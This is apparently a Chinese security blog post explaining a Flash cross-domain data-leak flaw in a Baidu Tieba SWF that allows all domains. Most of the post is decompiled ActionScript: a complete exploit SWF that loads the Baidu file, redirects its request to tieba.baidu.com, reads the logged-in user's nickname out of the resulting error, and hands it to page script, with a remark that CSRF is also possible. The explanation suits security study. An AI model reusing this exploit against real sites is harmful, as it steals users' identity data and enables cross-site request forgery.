flash也是可以和js一样动态的请求和加载,类似这样 a.com上的a.swf
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest("http://b.com/b.swf");
myLoader.load(url);
addChild(myLoader);
但是默认情况下是swf是不能被跨域引用的,所以这个调用不一定成功,只有在b.swf设置了System.security.allowDomain("a.com")
或者System.security.allowDomain("*")
的情况下才可以。
这样的话,b.swf中的有一些方法就可以在a.swf中调用了,而且发送的请求会显示来自b.swf,造成了跨域请求,大部分的浏览器是携带cookies的(貌似safari不发送)。
在 http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo,就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个。
首先看一下exp的反编译后的代码。
package {
import flash.utils.*;
import flash.display.*;
import flash.system.*;
import flash.net.*;
import flash.events.*;
import flash.external.*;
public class exp extends Sprite {
private static const PATH:String = "baidu.vote.DataManager";
private static const URL:String = "http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf";
private var clsExp;
private var clsRes;
private var nick:String;
public function exp(){
var ld:* = null;
var tid:* = 0;
super();
Security.allowDomain("*");
ld = new Loader();
ld.load(new URLRequest(URL));
addChild(ld);
tid = setInterval(function ():void{
try {
clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
clsRes = ld.contentLoaderInfo.applicationDomain.getDefinition("baidu.vote.enumerate.Constants");
} catch(e:Error) {
return;
};
clearInterval(tid);
ready();
}, 100);
}
private function load(url:String):void{
var obj:* = this.clsExp.getInstance();
obj.requestPageData({
r:1,
voteId:1,
tn:1
});
this.clsRes.URL_VOTE_DETAIL = (url + "#");
obj.requestVoteDetail();
}
private function ready():void{
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function (e:UncaughtErrorEvent):void{
complete(e.error.text);
});
this.load("http://tieba.baidu.com/");
}
private function complete(data:String):void{
var arr:Array;
arr = data.match(/"name": "([^"]+)/);
if (arr){
this.nick = arr[1];
};
ExternalInterface.call("bdcallback", this.nick);
}
}
}//package
加载了http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf
这个swf,然后调用了里面的requestVoteDetail
方法,我们再反编译一下百度贴吧的swf,看看这个方法是干什么的。
private function initialize():void{
System.useCodePage = true;
Security.allowDomain("*");
stage.scaleMode = "noScale";
......
请求网络的代码
public function requestVoteDetail():void{
var _local1:String = Constants.URL_VOTE_DETAIL;
_local1 = (_local1 + pageData.voteId);
_local1 = (_local1 + ("?alt=json&stamp=" + Math.random()));
var _local2:URLRequest = new URLRequest(_local1);
var _local3:URLLoader = new URLLoader();
_local3.addEventListener(Event.COMPLETE, onVoteDetailComplete);
_local3.addEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
_local3.load(_local2);
}
处理访问数据的方法
private function onVoteDetailComplete(_arg1:Event):void{
var _local2:URLLoader = (_arg1.currentTarget as URLLoader);
_local2.removeEventListener(Event.COMPLETE, onVoteDetailComplete);
_local2.removeEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
var _local3:String = (_local2.data as String);
_voteDetail = VoteDetail.fromJsonString(_local3);
if (((_voteDetail) && ((_voteDetail.errno == 0)))){
dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_OK));
} else {
dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_ERROR));
};
}
然后是json解码
public static function fromJsonString(_arg1:String, _arg2:Boolean=false):VoteDetail{
var _local3:Object = JSON.decode(_arg1);
return (fromObject(_local3, _arg2));
}
但是这个地方请求获取的是html,不是json,所以处理就会抛出异常,自己catch住就好了,异常的信息里面是包含html的。
这样就造成了一个跨域读取的漏洞,不仅仅是获取用户名,更可以csrf啊。
ps: 在wooyun上搜flash漏洞的时候,我才发现这个漏洞其实已经被报告给百度了,竟然还没修复,23333333
参考
http://www.cnblogs.com/index-html/p/swf-reflect-priv.html
http://wooyun.org/bugs/wooyun-2010-0110065
其他的flash安全相关的文章 http://drops.wooyun.org/tips/2924